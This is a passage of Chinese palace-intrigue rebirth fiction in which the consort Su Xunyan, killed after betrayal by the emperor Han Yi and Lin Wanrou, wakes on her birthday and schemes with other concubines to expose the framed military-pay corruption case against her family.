“这事好说,你也多劝劝你家娘娘,苏家的案子已成定局,陛下的意思呢,是让苏嫔在雁鸣宫内好好反省,等什么时候想明白了,再谈其他。”
5. 第 5 章
苏嬷嬷听后,心凉了半截。
此后几日,苏寻雁暗中联系与父亲交好的那些官员,希望透过他们,了解案件的更多内情。
可那些昔日与她家走动频繁的官员,接到她的信函,连看都不看就直接退了回来。
这么大的案子,证据模糊,证词敷衍,朝中官员却没有人提出质疑,所谓墙倒众人推,便是如此。
苏寻雁虽还住在雁鸣宫内,却早已不是昔日的宠妃,偌大的宫殿,如今冷冷清清,堪比冷宫。
她苦寻无果,只得舍下脸,传信向韩屹服软示弱,可对方毫不动容,从此再未踏入雁鸣宫,仿佛已经忘记她的存在。
而此刻,她的家人早已踏上流放之路,苏寻雁心如死灰,对外界的一切逐渐麻木。
时间悄然溜走,某一日,雁鸣宫的宫门再度被打开,突如其来的亮光,刺得苏寻雁眯起了眼。
一道纤细的身影随着光影,缓缓靠近。
“瞧瞧,这不是我们的贵妃娘娘吗,怎么看上去这么憔悴?唉,真是令人唏嘘啊!”
来人走到苏寻雁面前,仔细打量她的面容,随即凑近,轻声说。
“苏寻雁,苏家如今只剩你一人了,这样活着多痛苦,不如,我送你一程?”
苏寻雁抬眸瞪向她,语气冰冷:“你在说什么?”
“哦,你还不知道?真是可怜,你娘,还有你家的那些族亲,前不久都死在了流放路上,喏,给你看看。”
林婉柔说着,从袖中取出一张纸条,递到苏寻雁面前。
“哦对了,还有件事忘了告诉你,你父亲确实是被诬陷的,想知道那人是谁吗?”
林婉柔嘴角微扬,眼底的恶意不再隐藏:“是我与韩屹联手做的局,意外吗?你的心上人,心里根本没有你,只有你,还在这里傻傻的等他来,哈哈哈,真是蠢……”
苏寻雁攥紧手中的纸条,拔下头上的发簪,直直刺向林婉柔的喉咙。
林婉柔吓得侧身躲开,又惊又怒道:“苏寻雁,你疯了?竟想要杀我?既如此,那我便成全你!”
她抽出袖中的匕首,狠狠刺向苏寻雁的腹部……
“娘娘!”
苏嬷嬷与知秋惊叫着扑过来,苏寻雁想朝她们笑笑,却已没了力气。
她突然觉得好累,好想就这样睡过去……
“娘娘!”
“娘娘……”
见苏寻雁没有反应,知秋又扬声唤道。
“娘娘,时辰不早,该起了!”
听到熟悉的声音,苏寻雁猛地睁开眼,她坐起来,环顾四周,目光最终落到知秋身上。
“知秋?我竟,还活着吗?”
“娘娘,您在说什么?是不是梦魇了?”
见她满头大汗,知秋忙取来巾帕,为她擦拭。
可苏寻雁始终没回神,知秋与她说话,也没有回应,知秋有些不放心,默默转身出去。
不一会儿,苏嬷嬷跟着进来,见苏寻雁还坐在床上愣神,就有些着急。
“哎呀,我的娘娘呀,都什么时辰了,您怎么还坐这儿呢,赶快起来梳妆啊,再耽搁下去,陛下该来了!”
这声陛下让苏寻雁彻底回神,“你说陛下,要来?”
苏嬷嬷没好气地说:“对啊,您莫不是忘了,今日可是您的生辰,陛下不是每年都会来陪您过吗?”
“我的生辰?”
二人只当她是睡懵了,笑了笑,便各自忙活开。
很快,一排排衣架被推进来,其上的各色裙衫无不华丽,苏嬷嬷笑着说。
“娘娘,您先挑选衣衫,也好让她们搭配相应的头面。”
苏寻雁却没有动,过了半响,她转头望向苏嬷嬷。
“今日是我多少岁生辰?还有,府里众人,都好吗?”
苏嬷嬷惊得将手中的杯盏放下,试探地问道:“娘娘可是哪里不舒服?要不,老奴去请御医来?”
苏寻雁急了,“我无事,你先回答我的问题!”
苏嬷嬷只好回道:“过了今日,您便是双十年华了,府里众人都好,夫人今早还传信来,说明日要进宫来看您呢!”
“二十岁,我难道……”
看着眼前熟悉的场景,苏寻雁手不自觉颤抖,眼神瞬间亮起。
她竟然没死,不仅没死,她还回到了自己生辰这日,这也太神奇了!
突然,她想起什么,猛地站起身,朝桌案走去,边走还边吩咐:“苏嬷嬷,快替我磨墨,我要给父亲去信!”
苏嬷嬷虽然不太理解她想做什么,却也没多问,只默默地替她磨墨。
苏寻雁刷刷几笔,快速写完,将信仔细封好,便递给苏嬷嬷,认真叮嘱。
“嬷嬷,你找一个信得过的人,将信送去苏军营地,务必让父亲亲自打开。”
怕父亲不信,她又
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将自己的贴身玉佩放在上面。
“快去!”
见苏寻雁神情严肃,苏嬷嬷不敢怠慢,忙转身出去。
将信送出,苏寻雁便觉心安了一些。
父亲看到信上的内容,会对韩屹有所防备,只要他留在军营,一切就还有转圜的余地。
想通了这些,她心下一松,可疲惫却在这时逐渐放大,她缓步走到床榻边坐下。
望向窗外,枯黄的树叶被暖阳照射出璀璨的亮金色,清风吹拂过她的脸颊,带着一股凉意。这一刻,她才对周遭有了真切的实感。
既然上天给了她这个机会,那么这一次,她不会坐以待毙,她要主动出击!
只可惜上一世她太过冲动,没能了解到案件的更多细节就离世了,眼下她也只能见机行事了。
思及此,她再也坐不住,连忙唤来知秋,“宫里有多少是咱们的人?”
知秋闻言一愣,随即紧张地问道:“娘娘,是出什么事了吗?”
苏寻雁看了她一眼,摇头否认:“没有,未雨绸缪罢了。”
知秋虽是苏府的人,却没在她身边待过,还是进宫之后,才安排到她身边来,不及苏嬷嬷让她信任。
知秋松了一口气,“哎呀娘娘,您别老吓奴婢,您刚才那样子看得我都紧张了,还以为出什么大事了呢。”
苏寻雁露出一抹淡笑:“好了,将你知道的人名都写出来,若真有事,我们也好应对。”
知秋忙点头,去桌案写下几个人名,让苏寻雁过目。
苏寻雁接过,快速扫过纸上人名,又递给知秋:“我都记下了,将名单烧掉吧。”
知秋有些疑惑,见苏寻雁不想说,她也没再问,默默地退出了大殿。
记得韩屹曾说过,贪腐案的关键线索是林婉柔提供给他的,林婉柔还曾救过他,这么想来,这二人的关系不似表面那样简单,她得先搞清楚其中的关键。
回想起前世的种种,她真想给自己一耳光,为了爱情盲目自信,对方说什么都全然相信,真是太傻了。
这时,一个小太监跑了进来,朝苏寻雁行了一礼,禀告道:“娘娘,几位美人到了,都在正殿侯着呢。”
苏寻雁思绪回笼,站起身,整了整衣衫,便朝外走去。
几名宫女欲言又止,苏寻雁注意到了,便笑道:“无妨,既是我的生辰,那穿什么便由我来决定,就这身不换了。”
6. 第 6 章
一旁的小太监连忙谄媚道:“娘娘天生丽质,怎么样都是美的。”
苏寻雁不置可否地笑了笑,抬脚走向正殿。
韩屹后宫嫔妃并不多,仅一位婕姝和三位美人。
平时几人并不来往,今日还是借着苏寻雁的生辰,才难得在雁鸣宫相聚。
“贵妃娘娘,今日是您的生辰,妹妹们特来送上祝福,愿您福寿绵长,岁岁无忧,万事顺遂。”
四个人轮番说完吉祥话,又朝苏寻雁行了一个福礼。
苏寻雁坐于上首,笑着听完,轻轻颔首:“妹妹们有心了,都坐吧。”
几人找好自己的位置,坐下来,抬头看向苏寻雁,一时却不知该说些什么,还是其中一位长相稍显稚嫩的美人主动挑起了话茬。
“娘娘今日这身装扮很是素雅,让人眼前一亮,可比我这身艳色衣裙养眼多了。”
其他人也纷纷附和:“是呢,妹妹刚见时就想说了,贵妃娘娘这一身,清新脱俗,更显贵气,还极趁这季节呢。”
“是呢,娘娘品味向来不俗,我等都该多来向您请教呢。”
苏寻雁露出一抹无奈地笑,“行了,难为你们了,就我这身素衣,也能被你们夸出花来,口才都不错。”
说罢,她朝一旁招手,几名宫女手捧托盘,上前给几人分发赏赐。
那先前一脸讨喜的美人这时起身,走到大殿中间,朝苏寻雁福了福身,
“娘娘真是没把我们当外人,我们都还没送生辰礼,娘娘的赏赐就来了,那我们可不能落后了。”
说着,她从宫女手中接过花盆,笑着说:“这是我精心培育的菊花,名为胭脂点雪,它恰好在今日盛开,我特将它献给娘娘,娘娘可不要嫌弃哦。”
苏寻雁看了一眼盆中盛开的花朵,洁白底色上一抹胭脂红晕染开来,很是喜庆。让她沉闷了一日的心情,在这时放松下来。
“这花开得娇艳,想必美人平时照料的十分精心,我很喜欢,多谢!”
美人见她眼底含笑,脸上的笑容更甜了,“娘娘若是喜欢,往后我还给您送,我别的不会,这养花还是有些经验的。”
其他人见状,也陆续上前,送上自己准备的生辰礼,有设计精巧的饰品,也有出自名人大家的古玩字画,不管喜不喜欢,她都欣然接受。
又留她们喝了一盏茶,几人便很有眼力劲的提出告辞。
“今日娘娘生辰,自是要与陛下二人幽会,妹妹们可不能留在这碍眼,就先行告退了。”
苏寻雁也有些乏了,点头应道:“几位妹妹的生辰礼我都很喜欢,改日我们再聚。”
打发走了几人,苏寻雁便回到内室,坐等苏嬷嬷那边的消息。
不一会儿,苏嬷嬷端着托盘走进来,见苏寻雁一人坐在书案后,她快步走了过去。
“娘娘,您今日怎么这么早回来?内务府那边安排了不少节目呢。”
苏寻雁手持诗集,头也不抬地回道:“每年还不就是那几个节目,没甚意思,不如回来看会儿书。”
苏嬷嬷露出一抹了然:“娘娘,您该不会是在等陛下吧?听小锤子说,陛下今日政务繁忙,怎么也得傍晚才能来了。”
提起韩屹,苏寻雁瞬间没了心情,她放下诗集,语气淡淡:“嬷嬷想多了,如果可以,我倒是想今日谁也不见,就自己待会儿。”
苏嬷嬷觉得她话里有话,连忙凑近几步,轻声问道:“娘娘还在为几日前的事,与陛下置气吗?”
几日前?哦是了,前世这时她正与韩屹闹矛盾,她想要出宫转转,可韩屹死活不让,她有些生气,觉得他违背了当初的承诺,如今想来,也是可笑。
见苏寻雁没有回应,苏嬷嬷就以为自己猜对了,忙劝道。
“虽说您与陛下伉俪情深,可有些事,您也不要太过计较,如今他是帝王,可不再是之前那个不受宠的皇子了。”
苏寻雁轻叹了口气,“还是嬷嬷你看得清楚,不过有一点你错了,他与我可不是伉俪情深,你也被他骗了。”她露出一抹自嘲地笑。
苏嬷嬷一听这话就紧张了,连忙追问:“这话怎么说的?难道陛下他有了新欢?”
“先不说这些了,那封信送出去了吗?找的人是否可靠?还有,之前叮嘱你的那些话,可与那人交代清楚?”
韩屹与林婉柔那些事,她不想再提,也与她无关,眼下她只想守护好自己的家人。
苏嬷嬷忙正色道:“娘娘放心,信没交给苏府的人,我找的是我娘家的一个表亲,我曾救过他娘一命,是信得过的。此刻他人已经启程,我再三叮嘱过,务必将信面呈将军,亲眼看着将军看完信,再回来。”
苏寻雁听后,露出一抹释然的笑,“这样便好,苏嬷嬷,去让后厨做一份八宝鸭来,再加几道你平时爱吃的菜,对了,再烫几壶青梅酒,叫上知秋和小锤子,今晚,就我们几个过生辰。”
“啊,您不等陛下了?这样不太好吧?”
苏寻雁轻笑一声:“不等了,我们自己过,行了,你快去准备,我生辰过得如何,可就看你们几个了。”
后厨早就备好一桌菜肴,一听是雁鸣宫要的,几个小太监争着去送,不一会儿,院前的桌上便摆满各色菜品,其中就有一道色泽诱人的八宝鸭。
“既然菜都备齐了,我们还等什么,开吃吧。”
苏寻雁走到正中的位置坐下,笑着招呼几人。
知秋与小锤子站在原地不敢动,只苏嬷嬷笑着走过去,在苏寻雁身旁的位置坐下。
“既然是娘娘的意思,那老奴便不客气了,你们两个,也别傻站那儿了,快坐下吃吧。”
起初二人还有些拘谨,见苏寻雁与苏嬷嬷相处自然,还闲聊趣事,她们也逐渐放开。
一桌菜肴很快见底,知秋还觉不尽兴,起身要再去取一壶酒来,却被苏嬷嬷拦住了。
“可不兴再喝了,瞧瞧你们,一个个小脸红扑扑的,再喝,怕是要在娘娘面前失仪了。”
苏寻雁却无所谓的笑道:“无妨,让他们喝吧,今日难得空闲,我也高兴。”
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>知秋得到准许,立马起身,朝殿外走去。
几人中,也就苏嬷嬷还留有几分清明,见小锤子趴在桌上睡了过去,她便不放心地追问。
“娘娘今日怎得都没问过陛下?可是发生了什么事?”
苏寻雁没有答话,又自顾自地斟满一杯,一饮而尽后,才缓缓开口。
“能有什么事,嬷嬷你想多了,他不来,自是有他的理由,生辰眼看就要过去了,别想那些了,嬷嬷再陪我喝一杯?”
不等苏嬷嬷回应,她就提起桌上的酒壶,为苏嬷嬷斟满一杯。
苏嬷嬷无奈的接过酒杯,与她一同饮下。
这时,去前殿打探消息的小太监回来了,急急忙忙进了院子。
见几人喝得东倒西歪,小太监为难地站在原地,不知该走还是该等等。
还是苏嬷嬷转头时看到了他,朝他招手:“陛下那边可有消息?什么时候来?”
小太监低声回道:“陛下今日天不亮就出宫了,连贴身总管都没带,这会儿了也不见回来,殿前的人也不知他去了何处。”
“陛下怎么偏偏这会儿出宫?”
小太监摇了摇头,表示不知。
苏嬷嬷只觉事情蹊跷,忙转身去找苏寻雁。
“娘娘,您快醒醒。”
苏寻雁迷迷糊糊睁开眼,见苏嬷嬷一脸焦灼,随意问道:“怎么了?”
“陛下今早独自出宫,至今未归,娘娘,您可知道?”
“哦,原是出宫了,我怎知晓他去了何处,嬷嬷也别急,明日自然就知晓了。”
苏寻雁扶着桌子,缓缓起身,转向苏嬷嬷,“我的生辰过完了,嬷嬷这一晚也辛苦了,快回去歇息,今日我过得很开心。”
苏嬷嬷目送着她缓缓步入殿内,那背影竟看不出半分伤心落寞,反而看上去很平静松快。
娘娘莫非是想通了?
若真是如此,那将军与夫人知晓了该有多欣慰啊。
思及此,苏嬷嬷也转身离开,脚步难得带着一丝轻快。
这一晚几人喝了不少酒,苏寻雁更是沾床就睡,连宫女唤她都不曾听到。
“贵妃娘娘,该起了。”
小宫女站在床前,轻声唤道。
苏寻雁却还在梦乡,丝毫没有要醒来的意思。
小宫女正为难,一个高大身影自身后走来,待看清来人,小宫女吓得腿一软就要跪拜,那人食指抵唇,无声地说了句噤声。
小宫女慌忙垂下头,缓缓转身,退出了寝殿。
苏寻雁这一觉睡到了巳时,直到腹中饥饿难耐,她才舍得睁开眼。
“知秋,什么时辰了?”语气慵懒。
一道低沉的男声自床前传来,“已经巳时了,小懒虫,还不快起来用早膳。”
说罢,来人凑过来,动作轻柔地将她扶起,还顺势挂了一下她的鼻子。
“你怎么来了?”苏寻雁眼底闪过一抹意外,有些不解。
“整个皇宫都是我的,这雁鸣宫我为何来不得?”
7. 第 7 章
来人正是失踪半日的韩屹,他半开玩笑地回了一句,随即牵住苏寻雁的手,语气认真道。
“昨日是我失约了,寻雁可还在生我的气?”
苏寻雁这时回神,将手从韩屹掌中挣脱,一言不发的挪到床边,穿上便鞋就下了床。
“知秋?知秋进来。”
被苏寻雁全然无视,韩屹非但没恼,嘴角还不自觉翘起。他悄然靠近,从身后将苏寻雁紧紧环住,带着不容置喙的强势。
“昨日是事出有因,不是有意失约,寻雁,能否听我解释?”
苏寻雁压下眼底的厌恶,转过身,眼神平静地看向他。
“既然你想解释,那我给你这个机会,讲罢。”
知秋这时匆匆赶来,见二人姿态亲密,她转身要走,又被苏寻雁唤住。
“知秋,回来,我有事问你。”
知秋只得回过身,朝二人躬身行礼。
“奴婢给陛下、贵妃娘娘请安,陛下万福,娘娘金安。”
韩屹摆了摆手,示意她起身,苏寻雁则迫不及待地上前,将她扶起。
“好了,先别管这些虚礼了,我问你,母亲何时进宫?”
“夫人半个时辰之后就到。”
苏寻雁眼底含笑,转身对韩屹也露出一抹淡笑:“陛下,不如先回去?我与母亲还有些体己话要讲。”
韩屹轻笑着答应:“就知你会如此说,也罢,那明日我再来寻你。”
离开前他还不放心的叮嘱道:“不许再与我置气了,还有,饮酒要适量,别总让我担心。”
苏寻雁朝他轻轻颔首。
将韩屹打发走,她才有心情用早膳,只是才用到一半,苏夫人便到了。
见闺女这个时辰还在用早膳,苏夫人就没好气地剜了她一眼,"你这是才起身?"
见到阔别已久的母亲,苏寻雁握着筷子的手不自觉轻颤,眼眶瞬间红了。她飞奔上前,紧紧抱住母亲。
“母亲,我好想你。”声音带着一丝颤抖。
这份失而复得,让她再也忍不住,呜呜地哭了出来。
苏夫人本想好好说道她几句,见她哭得如此伤心,就有些不知所措,语气小心翼翼。
“这是怎么了?可是在宫里受了什么委屈?”
苏寻雁只顾着哭,也不回答,苏夫人只得回抱住她,边轻声安慰,边耐心等着她平复情绪。
过了半响,苏寻雁终于止住了眼泪,眼神也变得更坚定。
这一次,哪怕倾尽全力,她也绝不会让前世的悲剧重演,她定要全力守护,至死方休。
“哭完了?那现在说说吧,到底发生何事了?”
苏夫人语气漫不经心,可眼底却压着藏不住的担忧。
苏寻雁看向母亲,张了张口,却不知该怎么说。
她心中有诸多委屈和顾虑,可话到了嘴边,却怎么也说不出口。
千言万语,最终只化作一句:“母亲,韩屹他,负了我。”
苏夫人听后,暗暗松了一口气,无奈地笑了笑:“你俩又闹矛盾了吧?这次是因为什么?是昨日生辰他失约,心里觉得委屈了?”
苏寻雁屏退众人,拉着母亲去了内室。
“韩屹正在调查一宗军饷贪腐案,涉案的其中一位官员就是户部员外郎林萧,母亲可知晓此人?”
“林萧?”苏夫人思索半响后摇头:“不太熟悉,你怎得如此清楚,这些都是韩屹告诉你的?”
此事母亲尚不知情,自家与林家更是没有所谓的往来,看来前世他们所说的证据从头到尾都是诬陷。
思及此,苏寻雁目光转向母亲,语气认真。
“此事是韩屹随口说的,可我心里总觉不安,怕事有蹊跷,母亲回府后,定要盯紧府里众人,若发现存有异心之人,还是尽快打发走,不要给人可乘之机。”
“我儿终于开窍了,还知道为家族筹谋了。”
苏夫人欣慰地笑了。
苏寻雁却急了,“母亲,我没同你开玩笑,我说认真的。”
苏夫人轻拍着她的手,柔声安抚:“我当然知晓你不是玩笑,放心,母亲回去定会仔细盘查府里众人,此事你不必忧心。
倒是你与韩屹之事,你得把握好度,若真与他离了心,在宫里待不下去,就与我说,我与你父亲便是舍下这条命,也定会为你讨个公道。”
苏寻雁闻言再次抱紧母亲,闷声应道。
“我知道,母亲别担心我,府里的事您多上心,若有消息,可别忘了告诉我啊。”
“好好好,真是越大越啰嗦了,时辰不早,我也该出宫了,你有事随时与我说,别委屈自己。”
苏夫人临走时,还不舍地看了闺女一眼,又不厌其烦地叮嘱了她许多。
苏寻雁都一一应下,直将人送出宫门,她才转身往回走。
看着母亲方才离去的背影,心中的不安与焦虑,都被一一抚平。能做的她都做了,只希望这一次,她能改变结局。
才刚踏入雁鸣宫,知秋就风风火火的跑了过来,一脸焦急:“娘娘,陛下昨夜带回来一名女子,如今人就在崇明殿,太医院的院使和院判都去了,娘娘,这可如何是好啊。”
知秋替苏寻雁着急,一想到陛下有可能负了娘娘,她就难过的不行,可再抬眸,却见苏寻雁在窗前抚琴,一副事不关己的样子,知秋有些纳闷。
“娘娘,您怎么一点都不着急啊?”
一曲终了,苏寻雁才抬眸,淡笑道:“我急什么,自有比我着急的人。你找几个脸生的人,将消息散布出去,看看她们是何反应。”
知秋闻言忍不住笑了,转身跑了出去。
“凭什么不让我们进去,我们只是担心陛下的安危,有错吗?”
另一位美人也一脸不服:“就是,这来路不明的女子,岂能留在陛下身旁,公公,你快进去禀告一声,我们今日说什么也要见到陛下!”
崇明殿外陆续来了几名嫔妾,她们得到消息,说陛下昨夜带回一个小妖精,还安置于崇明殿内,她们就坐不住了。
这等待遇,连当年的贵妃娘娘都不曾有过,这谁能忍得了。<
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殿前侍卫想要阻拦,却碍于身份无法靠近,只得求助于殿外的几名公公。
最终,还是殿前的大监上前,陪着笑脸劝道:“诸位小主,可别为难老奴啊,陛下亲自下令,不许任何人靠近,老奴也做不了主啊。”
那长相讨喜的美人闻言,剜了他一眼,淡淡道:“哦,进不去,我们就在这等着,陛下总会出来的吧?对了,大监可知里面是何情形,还有,那姑娘到底何方神圣?”
“对啊,大监知道什么,不妨说出来,我们几个平日里可没少给您送好处啊。”
大监被问得一脑门汗,却又有些哭笑不得。
“这是怎么了?你们怎么都来了?”
听到苏寻雁的声音,大监像是寻到了救命稻草,急急迎了上去。
“贵妃娘娘,您可算是来了,快帮老奴劝劝几位小主吧,她们说什么都不肯离开,非要进殿,可陛下亲自下了令,不许任何人靠近,老奴也没有办法啊!”
苏寻雁嘴角微扬,语气淡淡:“大监有什么话与她们直说便是,若是理由让人信服,她们自然不会闹事。”
几位美人见到苏寻雁,连忙凑了过来。
“贵妃娘娘,您可来了,我们在这等了半天,大监连通传一声都不肯,摆明了是欺负我们没靠山啊。”
“哎呀,老奴哪敢啊。”
苏寻雁打断几人:“好了,在这吵闹确实不成体统,大监带我们去偏殿坐坐,待陛下这边结束,你来给我们传个话。”
大监一听她这话,连忙热情地将几人送到偏殿,又吩咐宫人给她们备好茶水点心和时令瓜果,必要让她们待得舒心。
待一切安排妥当,大监才退出偏殿。
待脚步声走远,几位美人便迫不及待地向苏寻雁诉苦。
“娘娘,那小妖精如今明目张胆的住进崇华殿,您就甘心?”
“是啊娘娘,我们几个方才在外面闹了半天,连对方是何身份都不知,可见陛下有多重视那女子,我们不得不防啊!”
几人目光焦急地望着苏寻雁,指望她来主持大局,可苏寻雁却一副事不关己的模样,不紧不慢地斟茶,品茗,面上不见一丝忧虑。
“娘娘可是想好了对策?”
那长相讨喜的美人见她如此淡定,就凑了过去,轻声问她。
将杯中的茶饮尽,苏寻雁才缓缓开口:“急什么,崇华殿既去不得,静观其变就是。”
几人无法,只得安心坐下来,与苏寻雁一同饮茶。
一壶茶饮尽,天光也逐渐暗淡下去,她随即起身,对几人道:“走吧,那边,也该结束了。”
几人瞬间来了精神,跟随苏寻雁走出偏殿。
大监站在廊道,远远地望见几人身影,他连忙上前阻拦。
“贵妃娘娘,还请再等等,大殿那边还没动静呢!”
长相讨喜的美人一听这话,就不服地上前几步。
“还要等什么,御医这不都出来了吗?大监还不快去看看。”
8. 第 8 章
大监闻言便转过身,果然见几位御医陆续从大殿走出,他也顾不得许多,抬脚便往殿内赶去。
不多时,一名小太监走了过来,请几人进去。
“你们还不回自己宫去,在此喧闹,成何体统?”
对上苏寻雁那淡漠的眼神,韩屹就没由来地感到心虚,他目光刻意回避,转而对几位嫔妾呵斥。
别看她们对着苏寻雁时说得头头是道,可面对盛怒的韩屹,就立马怂了,吓得一声不敢吭。
气氛瞬间冷凝,还是坐在床边的林婉柔,主动打破了僵局。
“屹大哥,何必动这么大气呢,几位娘娘也是出于好奇罢了,这没什么的。”
苏寻雁抬脚朝里走,眼底含笑地看向林婉柔,随即走到圆凳边,坐了下来。
“姑娘既知我们好奇,何不自我介绍一番?”
林婉柔抬眸看向她,声音轻柔:“娘娘气韵天成,容貌不俗,想必定是艳绝后宫的贵妃娘娘了。”
说罢,她又望向韩屹,见他并未理睬自己,反而一瞬不顺的望着苏寻雁,眼底地嫉恨转瞬即逝。
“瞧我,只顾感慨娘娘的美貌,竟忘了介绍自己,我姓林,名婉柔,是林家嫡女,娘娘唤我婉柔便是,日后我少不了要劳烦娘娘,您可不要嫌我烦哦。”
“林家?哪个林家?”
一向话不多的吴婕姝,今日不知怎得,对林婉柔敌意颇深。
见她不答,她便转而看向几名美人,“许是我不太与姐妹们走动,竟不知上京还有林姓世家,妹妹们可知晓?”
几名美人皆摇头说不知,那讨喜的美人接话道:“妹妹们都不曾听说过,林姑娘不是上京人吧?”
“我……”
被说到痛处,林婉柔再次看向韩屹,希望他能替自己解围,可对方还是如先前那般,只顾盯着苏寻雁看,并未理睬她,也没将几人的谈话听进去。
见林婉柔一脸窘迫,苏寻雁不禁弯起嘴角,温和道:“不是上京人士又怎么,能让陛下亲自带回宫,还安置于崇明殿内的,可是独一份的荣宠,林姑娘不必自慊。”
她随即朝几人递了个眼神,就欲起身离开,韩屹猛地伸手抓住她的胳膊,“寻雁别走,你听我说……”
苏寻雁迅速收敛眼底的冷漠,回过身,换上一副脆弱又无力的模样。
“说什么?陛下昨夜撇下我,在此彻夜守着林姑娘,不就是对她情根深种,无法自拔了吗?好,我理解,也尊重。但我现在需要一个人静一静,可以吗?”
韩屹还从未见过苏寻雁如此脆弱的模样,可不知为何,他心猛地一沉,仿佛有什么珍视的宝物,再也不属于他。
他不喜欢这脱离掌控的感觉,他没有松手,反而还凑近了几分,低声道:“寻雁,事情不是你想的那样,这其中还牵扯一宗案子,一两句话说不清,你信我吗?”
呵,前世她便是轻信了这番话,才落得惨死的下场,细细想来,这话真可谓漏洞百出。
她轻叹了口气,声音里满是疲惫:“你别再说了,我只想要回去静一静。”说罢,她将手从韩屹的掌中抽出,头也不回地离开。
气氛又凝滞,在场几人也不敢多言,默默地跟上苏寻雁的步伐。
韩屹看着苏寻雁离去的背影,眼底闪过一丝懊恼,在林婉柔的事情上,他处理的确实欠妥。
林婉柔最看不得他露出那一脸落寞内疚的样子,她故作担忧地上前,轻声劝道。
“屹大哥,你别伤心,贵妃娘娘定是误会我们了,你快去与她解释清楚,她定会理解。”
"你闭嘴!"韩屹厉声喝道,随后转身,大步离开。
林婉柔愣了一瞬,目光掠过雁鸣宫的方向,眼底有势在必得的锋芒。
而此时的雁鸣宫,却是另一番热闹景象。
方才见识到崇华殿那一出,几名嫔妾心底都难掩担忧,她们索性不回自己宫,跟着苏寻雁来到了雁鸣宫。
刚一落座,几人就迫不及待地追问苏寻雁:“娘娘,那林婉柔的事,您是怎么想的?”
“是啊,难道就任由她住在崇华殿吗?想想就很不甘心啊!”
苏寻雁先吩咐宫人准备晚膳,随后才转过身,不紧不慢地说。
“瞧把你们急的,今日陛下说的话都忘了?”
几人面面相觑,不解地看向她。
苏寻雁状似无意地说了句:“陛下方才似乎说,林家牵扯进一宗案子?”
吴婕姝随即应道:“对,陛下似乎是提到过,只是不知这林家是何来头?牵扯进了什么案子?”
那长相讨喜的美人,忙拍着胸脯保证道。
“这还不简单,我爹就在刑部任职,待我回去书信一封,定能知晓其中缘由。”
这位美人姓江,其父恰好在刑部担任右侍郎,查这类案子,可谓手到擒来。
苏寻雁露出一抹满意的笑:“如此甚好,那我们便静候江美人的佳音了。”
“娘娘就等着我的好消息吧。”
事情朝着她预想的方向发展,苏寻雁只觉得舒畅多了。
韩屹不是处心积虑要至她家于死地吗?那就索性将事情闹大,届时让众人都看看,朝廷是如何对待忠臣良将的。
也让那些大臣们警觉,迟早他们也会落得个兔死狗烹的下场。
那位江美人也很靠谱,第二日傍晚,便来找苏寻雁,将知道的情况告诉了她。
“娘娘,真想不到啊,那林婉柔还是罪臣家眷呢,那日见着咱们还装柔弱,真是人不可貌相啊!”
苏寻雁耐心听完,对贪腐案也有了初步的了解。
原来,这案子起初只在京郊军营内进行排查,起因是林婉柔大义灭亲,检举其父贪墨军饷,朝廷随即在军营内部展开调查,只是不知从何时起,案子渐渐变了味。
“娘娘,你说陛下他是怎么想的啊?怎么能将罪臣的家眷纳入后宫呢?”
苏寻雁收回思绪,故作忧伤地叹了口气:“陛下的心思,谁又猜得准呢,如今我都摸不准他的心思,罢了,随他去吧。”
江美人见她如此丧气,就不赞同地摇了摇头:“娘娘您不能这么想啊,您在陛下心中很有分量,若连您都放弃了,我们姐妹岂不是更难了。”
苏寻雁只无奈地摇了摇头,什么也没说。
江美人却
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不想就此放弃,她暗暗想着办法,突然,她灵机一动。
“娘娘,我想到了,回去我就找姐妹们,我们几家联手,不信阻止不了她!”
江美人当日从雁鸣宫离开,就去了其他嫔妾处,与她们讲了林婉柔与林家之事,几人听后,都觉意外。
“你们说陛下他是怎么想的?这林婉柔哪有贵妃娘娘好啊,一副小家子气,真是想不明白。”
江美人也叹气:“说的是啊,我看贵妃娘娘这次是真伤心了,她不准备管这事了,我们几个可不能放弃啊!”
大家纷纷表示赞同,当夜几人就与家里去信,几家人一合计,决定联名上疏,劝诫韩屹将林婉柔送出宫去。
韩屹看着桌上的奏折怒不可遏,当场就将几本奏疏狠狠掷于地上。
“处理起这种事,你们倒是心齐得很啊?朕的后宫,何时轮到你们插手了?”
江美人的父亲神色从容,他上前几步,语气沉稳道:“这虽是陛下的家事,却也牵扯朝堂,若日后人人都效仿,还谈何历法制度呢?”
另一位大臣也拱手说道:“那林氏身份敏感,家世又不显,若纳入后宫,实在不妥,还望陛下三思啊!”
“好,好,好,你们一个个都有理,行了,林氏之事,朕自会斟酌处理,都给我退下!”
几位大臣闻言,彼此对视一眼,便识趣地告退出去。
只要陛下不将那林婉柔纳入后宫,一切就还有转圜的余地。
经此一事,韩屹暗中调查的军饷贪腐案,也被迫摆在了明面上。
京郊军营内部的事与林家的案子,也就此浮出水面。
此案后来转交于刑部与督察院联合审理,朝中大臣没人反对,只联名上疏的几位大臣,对此提出了异议。
“此案非同小可,臣以为,应推举一位有份量的人来主理,也能起到监督之能。”
韩屹只觉头痛,“你们可有推荐人选?”
江美人的父亲,拱手回道:“臣以为,靖王是最合适的人选。”
其他人听后,也觉这个提议不错。
毕竟靖王常年驻守边关,不仅熟知军事,对军营内部的管理也了如指掌,请他出面做案件的主理,再合适不过。
韩屹却想也不想便一口回绝:“靖王不可,且不说边关事务,离不离得开他,此案牵扯之人众多,难保其中不会涉及到他的亲眷好友。此案,还是暂由两部共同主理为宜。”
韩屹虽未采纳几人的提议,可此案由两部门共同审理,也能彼此监督,让案件细节更透明。
苏寻雁听说了前朝之事,心也跟着放松下来,起码这次不会如前世那般,证据模糊便草草结案。
苏嬷嬷得知此消息,也笑着走进来:“娘娘,那林婉柔之事解决了,她暂时进不了宫,人也搬离崇明殿了。”
苏寻雁放下书卷,嘴角露出一抹由衷的笑意。
前世她无数次的哭闹,为此整夜难眠,却只换来韩屹的冷漠绝情。而这一次,她什么都没做,却得到了前世最想要的结果,命运有时候还真的蛮奇妙。
只可惜,还未等她放松多久,便传来一则坏消息。
9. 第 9 章
小太监手捧信鸽,快步走进大殿,朝苏寻雁行了一礼,语气恭敬。
“娘娘,这是刚刚飞回的信鸽。”
小太监将信鸽腿上绑着的信筒取下,放在苏寻雁的桌案上,躬身行礼。
苏寻雁打开信筒,取出纸条,只一眼,便急急唤来苏嬷嬷。
“苏嬷嬷,快进来。”
苏嬷嬷闻声走进来,见她神色不对,连忙上前:“娘娘,发生了何事?”
苏寻雁将纸条递给苏嬷嬷,又朝小太监摆了摆手,等他退下,才急急说道:“信没送到,人也不知所踪。”
